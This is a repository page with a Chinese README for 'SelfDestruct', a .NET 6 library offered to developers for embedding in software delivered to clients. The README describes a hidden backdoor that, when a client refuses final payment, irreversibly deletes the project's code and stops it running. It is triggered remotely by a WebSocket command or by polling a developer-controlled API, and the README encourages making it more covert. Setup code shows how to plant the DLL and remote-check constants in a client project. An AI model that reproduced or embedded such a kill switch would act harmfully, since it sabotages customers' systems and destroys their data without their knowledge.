# SelfDestruct
**Repository Path**: XiaoShiYi-1011/self-destruct
## Basic Information
- **Project Name**: SelfDestruct
- **Description**: 一个用于自毁项目的net 6类库,仅在与客户谈崩时使用(如:拒绝支付尾款、无故拒绝履行合同等)自毁操作不可逆!!!
- **Primary Language**: C#
- **License**: MIT
- **Default Branch**: master
- **Homepage**: None
- **GVP Project**: No
## Statistics
- **Stars**: 0
- **Forks**: 1
- **Created**: 2024-06-26
- **Last Updated**: 2025-01-10
## Categories & Tags
**Categories**: Uncategorized
**Tags**: None
## README
YuanCodeStudio.SelfDestruct
自毁机制
专门为项目自毁设计,仅在与客户谈崩时使用(如:拒付尾款、无故拒绝履行合同等)——一旦触发会删除项目自身代码并停止运行,自毁操作不可逆!慎用!😎
### ✨如果您觉得有帮助,请点右上角 "Star" 支持一下谢谢
## 🎇项目介绍
该项目实现自毁有两种方案:1.使用 WebSocket 协议,远程发送指令,进行自毁操作;2.使用定时轮询指定服务器 Api 接口,通过 Api 接口返回的数据,判断是否进行自毁操作。
两种方案各有各自的优缺点:
1.WebSocket 协议:如果客户项目部署在 Nginx,则 Nginx 需要开启 ws 协议
2.定时轮询方案:需要你自己有台服务器,并且轮询周期不建议设置过短
如果你觉得这两种方案还不够隐蔽,可以自己加上你的方案,目前只开发了 Net 版本,Java 版本将在未来开发。
这个自毁机制相当于后门程序,与客户合作没什么问题应当立即停止使用该程序或删除该程序
## 👨🏫使用教程
1. 打开`Net/YuanCodeStudio/YuanCodeStudio/Const/`路径下的StaticConst.cs文件,修改常量值。例如
```c#
namespace YuanCodeStudio.Const
{
public class StaticConst
{
public const string SELF_DESTRUCT_KEY = "SelfDestructKey"; // 自毁验证Key
public const string INSTRUCT = "delete_self"; // 自毁指令
public const string MAPHUB_PATTERN = "/Hub/Delete"; // 连接地址
public const string CHECK_URL = "https://www.test.com/api/deleteSelf"; // 远程请求地址
public const int EXECUTE_CYCLE = 60; // 远程请求执行周期(分钟)
}
}
```
2. 在项目上点击右键进行发布,发布到本地文件夹,注意发布参数
3. 在你选择的发布路径下找到你发布的dll文件,把这个文件复制到你自己的项目中,然后引用该dll,在Setup.cs或者Program.cs中编写启动代码
```c#
public class Startup
{
public void ConfigureServices(IServiceCollection services)
{
// 注册其他服务
services.AddYuanCodeStudioSetup();
}
public void Configure(IApplicationBuilder app, IWebHostEnvironment env)
{
// 其他中间件
app.UseYuanCodeStudioSetup();
app.UseEndpoints(endpoints =>
{
endpoints.MapControllerRoute(
name: "default",
pattern: "{controller=Home}/{action=Index}/{id?}");
});
}
}
```
4. 通过前端代码触发自毁操作
```html
```
5. 通过服务器Api响应内容触发自毁操作
```json
{
"statusCode": 0,
"data": "string", // 如果响应内容为你定义的自毁指令,则触发自毁操作
"succeeded": true,
"errors": "string",
"extras": "string",
"timestamp": 0
}
```
## 🤝商业合作
1. 我们团队(元代码科技工作室)专业从事软件开发、网站开发等多个领域。如果您有以下需求,欢迎与我们联系:
- 移动端应用 / 电脑桌面应用 / 网站开发 / 鸿蒙应用 / 微信、支付宝、字节等第三方小程序或网站开发
- 定制解决方案
- ...
2. 我们团队(元代码科技工作室)的主要技术栈:.Net 、Vue、Java、鸿蒙等
- 包括:移动端应用/ 电脑桌面应用 / 网站开发 / 鸿蒙应用 / 微信、支付宝、字节等第三方小程序或网站开发
3. 我们提供高质量的开发服务,所有项目单子,均为源码交付。大金额单子需要签订合同
4. 联系方式:[xiaoshiyi1011@163.com](mailto:xiaoshiyi1011@163.com)
## 🔐版权声明
- 该项目签署了MIT授权许可,详情请参阅 [LICENSE](https://gitee.com/XiaoShiYi-1011/yuan-rate-limiter/raw/master/LICENSE),源码完全免费开源商用。
- 不能以任何形式将该项目用于非法为目的的行为。
- 任何基于本软件而产生的一切法律纠纷和责任,均于作者无关。